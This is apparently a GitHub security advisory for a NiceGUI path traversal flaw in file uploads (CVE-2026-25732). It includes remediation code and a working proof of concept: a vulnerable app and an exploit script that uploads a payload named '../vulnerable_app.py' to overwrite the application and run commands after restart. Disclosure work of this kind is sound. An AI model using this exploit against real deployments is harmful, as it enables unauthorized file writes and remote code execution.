Skip to content

NiceGUI's Path Traversal via Unsanitized FileUpload.name Enables Arbitrary File Write

High severity GitHub Reviewed Published Feb 5, 2026 in zauberzeug/nicegui • Updated Feb 7, 2026

Package

pip nicegui (pip)

Affected versions

<= 3.6.1

Patched versions

3.7.0

Description

Summary

NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.

Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.

Details

Vulnerable Component: nicegui/elements/upload_files.py (upload_files.py#L79-L82 and upload_files.py#L110-L115)

Affected Methods: SmallFileUpload.save()and LargeFileUpload.save()

async def save(self, path: str | Path) -> None:
    target = Path(path)
    target.parent.mkdir(parents=True, exist_ok=True)
    await run.io_bound(target.write_bytes, self._data)

Root Cause: The save() method performs no validation on the provided path parameter. It accepts:

  • Relative paths with ../ sequences
  • Absolute paths
  • Any file system location writable by the process

When developers use e.file.name (controlled by the attacker) in constructing save paths, directory traversal occurs:

save_path = UPLOAD_DIR / e.file.name  # e.file.name = "../app.py"
await e.file.save(save_path)           # Writes outside UPLOAD_DIR

PoC

  • Terminal 1 (App)
cd /tmp && mkdir -p evilgui && cd evilgui
python3 -m venv evilgui && source evilgui/bin/activate
pip install nicegui

cat > vulnerable_app.py << 'EOF'
from nicegui import ui
from pathlib import Path

UPLOAD_DIR = Path('./uploads')
UPLOAD_DIR.mkdir(exist_ok=True)

@ui.page('/')
def index():
    async def handle_upload(e):
        save_path = UPLOAD_DIR / e.file.name
        await e.file.save(save_path)
        ui.notify(f'File saved: {e.file.name}')
    
    ui.upload(on_upload=handle_upload, auto_upload=True)

ui.run(port=8080, reload=False)
EOF

python3 vulnerable_app.py &
  • Terminal 2 (Exploit)
cat > exploit.py << 'EOF'
import requests, re, time

s = requests.Session()
s.get('http://localhost:8080')
time.sleep(2)

html = s.get('http://localhost:8080').text
match = re.search(r'/_nicegui/client/([^/]+)/upload/(\d+)', html)
upload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}'

payload = '''from nicegui import ui
import subprocess
@ui.page("/")
def index():
    ui.label(subprocess.check_output(["id"], text=True))
ui.run(port=8080, reload=False)
'''

s.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')})
EOF

python3 exploit.py
  • Restart the application to execute the injected code:
pkill -f vulnerable_app && python3 vulnerable_app.py

Impact

Affected Applications: All NiceGUI applications using ui.upload() where developers save files with e.file.save() and include user-controlled filenames (e.g., e.file.name) in the path.

Attack Capabilities:

  • Write files to any location writable by the application process
  • Overwrite Python application files to achieve remote code execution upon restart
  • Overwrite configuration files to alter application behavior
  • Write SSH keys, systemd units, or cron jobs for persistent access
  • Deny service by corrupting critical files

Exploitability: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like ../../../app.py to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use e.file.name directly, following patterns shown in community examples.

Remediation

For Users

async def handle_upload(e):
    safe_name = Path(e.file.name).name # Strip directory components!
    await e.file.save(UPLOAD_DIR / safe_name)

For Maintainers

async def save(self, path: str | Path, *, base_dir: Path | None = None) -> None:
    target = Path(path).resolve()
    
    if base_dir is not None:
        base_dir = base_dir.resolve()
        if not target.is_relative_to(base_dir):
            raise ValueError(
                f"Path '{target}' escapes base directory '{base_dir}'"
            )
    
    target.parent.mkdir(parents=True, exist_ok=True)
    await run.io_bound(target.write_bytes, self._data)

References

@falkoschindler falkoschindler published to zauberzeug/nicegui Feb 5, 2026
Published to the GitHub Advisory Database Feb 5, 2026
Reviewed Feb 5, 2026
Published by the National Vulnerability Database Feb 6, 2026
Last updated Feb 7, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

EPSS score

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.

URL Redirection to Untrusted Site ('Open Redirect')

The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect. Learn more on MITRE.

CVE ID

CVE-2026-25732

GHSA ID

GHSA-9ffm-fxg3-xrhh

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.